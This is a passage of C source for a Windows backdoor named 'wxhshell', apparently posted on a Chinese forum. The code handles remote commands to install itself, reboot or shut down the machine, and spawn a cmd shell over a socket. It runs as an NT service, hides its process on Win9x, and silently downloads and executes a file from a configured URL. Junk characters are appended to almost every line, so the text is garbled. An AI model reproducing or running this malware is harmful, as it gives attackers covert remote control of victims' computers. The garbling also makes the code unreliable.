    break; T Jp(  
  } QrHI}r  
  // 安装 [F*t2 -ta  
  case 'i': { X'IW &^kI  
    if(Install()) 'kL>F&|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {Z3B#,V(g  
    else (p-a;.Twj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N3TkRJZ  
    break; c*9RzD#Zj  
    } x'+lNlv  
  // 卸载 k2" Z:\?z  
  case 'r': { C5\bnk{  
    if(Uninstall()) <hkg~4EKc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:D}L   
    else  }aRV)F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 959&I0=g"  
    break; j^"Z^TEBT  
    } r,A750P^  
  // 显示 wxhshell 所在路径 ="P 3TP  
  case 'p': { e 9U\48  
    char svExeFile[MAX_PATH]; T8JM4F  
    strcpy(svExeFile,"\n\r"); peY(4#  
      strcat(svExeFile,ExeFile); `QC{}Oo^  
        send(wsh,svExeFile,strlen(svExeFile),0); n1a;vE{!  
    break; ~*ZB2  
    } kb Fr  
  // 重启 8tK8|t5+  
  case 'b': { L/1?PM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 89Svx5S  
    if(Boot(REBOOT)) k 9R_27F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&dHH_m3  
    else { E#URTt:&>  
    closesocket(wsh); #'mb9GWD3  
    ExitThread(0); KxqT5`P&  
    } M6jP>fbV*  
    break;  2(YZTaY  
    } <bDjAVq  
  // 关机 tMad 2,:  
  case 'd': { :G?"BL5vP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #)AcK|*y  
    if(Boot(SHUTDOWN)) vS6}R5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M3Q#=yy$D$  
    else { !t3)j>h:  
    closesocket(wsh); 403%~  
    ExitThread(0); P>z k  
    } [#fXmW>N/  
    break; :(c2YZ   
    } !Ui3}  
  // 获取shell _Z~wpO}/  
  case 's': { f9cS^v_:  
    CmdShell(wsh); R|Z$aHQ  
    closesocket(wsh); E<1^i;F  
    ExitThread(0); !:,d^L!bh  
    break; kZs  
  } ?>N82#9Q  
  // 退出 /XjIm4EN  
  case 'x': { Wct +T,8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L"rLalUw  
    CloseIt(wsh); 3Wrl_V  
    break; `o8b\p\zn  
    } L%ND?'@  
  // 离开 4NMv7[r  
  case 'q': { iNZ'qMH22  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @tdX=\[~  
    closesocket(wsh); g^26Gb.  
    WSACleanup(); ?D/r1%Z  
    exit(1); ps[TiW{q;  
    break; g2l|NI#c^  
        } c@1C|  
  } 8c\mm 0n  
  } L01R.3Z+  
5YUn{qtD  
  // 提示信息 #IDDKUE  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .^N+'g  
} *,-)4)7d  
  } *r!1K!c  
wh l)^D  
  return; ;Z:z'';Lm  
} W1f]A#t<  
wb 2N$Ew=  
// shell模块句柄 +^{;o0kcx  
int CmdShell(SOCKET sock) M@UkXA}  
{ ez%RWck  
STARTUPINFO si; udX4SBq-pC  
ZeroMemory(&si,sizeof(si)); c5>&~^~>Tx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #.?DsK_:@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; , d ?4"8_  
PROCESS_INFORMATION ProcessInfo; 0PE $n  
char cmdline[]="cmd"; ?u` ?_us  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J xi>1  
  return 0; oJVpNE[3]  
} d}3<nz,  
~j" aJ /  
// 自身启动模式 )/PvaL  
int StartFromService(void) c Bb!7?6(  
{ 3!`Pv ?|o  
typedef struct Jg/l<4,K,  
{ Z7"8dlb  
  DWORD ExitStatus; #M&rmKv)g  
  DWORD PebBaseAddress; t*5d'aE`/  
  DWORD AffinityMask; us\@n"  
  DWORD BasePriority; n=MdbY/k(  
  ULONG UniqueProcessId; I >k3X~cG  
  ULONG InheritedFromUniqueProcessId; 8s-RNA>7^  
}   PROCESS_BASIC_INFORMATION; u{"o*udU  
S;M'qwN  
PROCNTQSIP NtQueryInformationProcess; N*$<Kjw  
x~!B.4gT2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H@bra~k-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V:9|9$G  
J4 .C"v0a  
  HANDLE             hProcess; [Tby+pC  
  PROCESS_BASIC_INFORMATION pbi; h`Vb#5 ik  
GeWB"(t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E)3B)(@&P  
  if(NULL == hInst ) return 0; PvBx<i}A  
cEnkt=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P5* :r3>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZZ A!Y9ia2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I7r{&X) D  
YR'?fr  
  if (!NtQueryInformationProcess) return 0; E0$UoP   
'Sppm;?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F\Q)l+c  
  if(!hProcess) return 0; @/l{  
fc._*y#AS  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #`RY KQwB  
=xQ 7:TB  
  CloseHandle(hProcess); fs&J%ku\  
( t#w@<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9m0`;~!  
if(hProcess==NULL) return 0; vC E$)z'"  
m~1{~'  
HMODULE hMod; i:Pg&474f  
char procName[255]; ?{?mAb c  
unsigned long cbNeeded; #HWz.Wb  
R[LVx-e7'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w(8q qU+\  
1 >jG*tr  
  CloseHandle(hProcess); `I,A7b  
O*d&H;;  
if(strstr(procName,"services")) return 1; // 以服务启动 m(q6Xe:Vc  
L!V`Sb  
  return 0; // 注册表启动 3H%R`ha  
} jWLZ!a3+  
Bwjd/id q  
// 主模块 qGuz`&i  
int StartWxhshell(LPSTR lpCmdLine) ,pa,:k?  
{ 0 lXV+lj  
  SOCKET wsl; %eT4Q~}5"  
BOOL val=TRUE; `!S5FE"-  
  int port=0; /D`M?nD7  
  struct sockaddr_in door; `Gx"3ZUn  
j|FGb:  
  if(wscfg.ws_autoins) Install(); +P/"bwv0  
Wa #,>  
port=atoi(lpCmdLine); >9a%"<(2#  
V"%2Tz  
if(port<=0) port=wscfg.ws_port; I+D`\OSL  
R"6Gm67t  
  WSADATA data; Kv:UQdnU[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #i-!:6sLA  
&JAQ:([:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   J_}&Btb)e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Xx[ L K  
  door.sin_family = AF_INET; |w- tkkS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [6V'UI6  
  door.sin_port = htons(port); ><"5 VwR  
K~<pD:s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $Rv}L'L  
closesocket(wsl); hghtF  
return 1; ->n<9  
} <Xm5re.  
Oh6;o1UI  
  if(listen(wsl,2) == INVALID_SOCKET) { "8ILV`[  
closesocket(wsl); '[-gK n  
return 1; a[\,K4l  
} S+ymdZ)xZ`  
  Wxhshell(wsl); HB {-^9{E  
  WSACleanup(); |}^[f]  
6R%c+ok8i  
return 0; YH)U nql  
I|RN/RVN  
} =}\]i*  
j$T2ff6  
// 以NT服务方式启动 |(}uagfrd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *0{MAm  
{ po*s  
DWORD   status = 0; $} TqBBe   
  DWORD   specificError = 0xfffffff; UYW%% 5p?  
v!t*Ng  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |o~FKy1'z\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vyj>&"28  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1]A%lud4  
  serviceStatus.dwWin32ExitCode     = 0; H|0B*i@81  
  serviceStatus.dwServiceSpecificExitCode = 0; <E$P  
  serviceStatus.dwCheckPoint       = 0; +6*oO|   
  serviceStatus.dwWaitHint       = 0; lk \|EG  
6ecr]=Cv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j_&/^-;e  
  if (hServiceStatusHandle==0) return; TcZ Ci^1F  
1KruGq~  
status = GetLastError(); -2v|d]3qG  
  if (status!=NO_ERROR)  ^wb -s  
{ si=/=h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \>cZ=  
    serviceStatus.dwCheckPoint       = 0; 9XT6Gf56  
    serviceStatus.dwWaitHint       = 0; `>?\MWyu  
    serviceStatus.dwWin32ExitCode     = status; .}ohnnJB0  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3Aaj+=]W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N TXT0:  
    return; ;&W N%L*  
  } }tft@,dIC  
Xu3^tH-b<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _M:)x0("  
  serviceStatus.dwCheckPoint       = 0; dLD"Cx  
  serviceStatus.dwWaitHint       = 0; a&#Z=WK4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eQcy'GA06  
} A&$!s)8z  
H b]    
// 处理NT服务事件,比如:启动、停止 m4 E 6L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hrZ~7 0r  
{ <$UMMA  
switch(fdwControl) b$PNZC8f  
{ `!qWHm6I*  
case SERVICE_CONTROL_STOP: ?-#w [J'6  
  serviceStatus.dwWin32ExitCode = 0; j0 =`Jf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wa<@bub  
  serviceStatus.dwCheckPoint   = 0; ~S|Vd  
  serviceStatus.dwWaitHint     = 0; CEYHD?9k8  
  { m%ET!+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &lBfW$PZjk  
  } /Ia=/Jj7N  
  return; ~lCG37  
case SERVICE_CONTROL_PAUSE: v6s8 p  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +/\.%S/  
  break; =!U{vT  
case SERVICE_CONTROL_CONTINUE: |t]-a%A=w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4ms hB  
  break; Q;m .m2  
case SERVICE_CONTROL_INTERROGATE: x18ei@c  
  break; b44H2A .  
}; >P\T nb"Q\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 70 HEu@-  
} }xLwv=Ia  
*}ay  
// 标准应用程序主函数 S wC,=S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *sAoYx  
{ xhUQ.(S`r6  
jJ55Az?t:  
// 获取操作系统版本 v bb mmv  
OsIsNt=GetOsVer(); 4$IPz7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eqeVz`  
Nj#!L~^h,  
  // 从命令行安装 CFul_qZ/e  
  if(strpbrk(lpCmdLine,"iI")) Install(); htM5Nm[g  
>GT0 x  
  // 下载执行文件 0R_ZP12  
if(wscfg.ws_downexe) { OMKEn!Wq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WNm,r>6m  
  WinExec(wscfg.ws_filenam,SW_HIDE); O(&EnNm[2  
} EHzU`('?[  
zXcSE"   
if(!OsIsNt) { 7:x.08  
// 如果时win9x,隐藏进程并且设置为注册表启动 'QCvN b6  
HideProc(); s4~c>voQB  
StartWxhshell(lpCmdLine); yaR|d3ef?4  
} ik&loM_  
else ,Oxdqxu7  
  if(StartFromService()) @Z3b^G[  
  // 以服务方式启动 ~e%*hZNo  
  StartServiceCtrlDispatcher(DispatchTable); "ajZ&{Z  
else 7t@jj%F  
  // 普通方式启动 ),M8W15  
  StartWxhshell(lpCmdLine); d:A+s>`$M  
+"' h?7'C  
return 0; NNe'5q9  
}
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只看该作者 1 发表于: 2006-10-10
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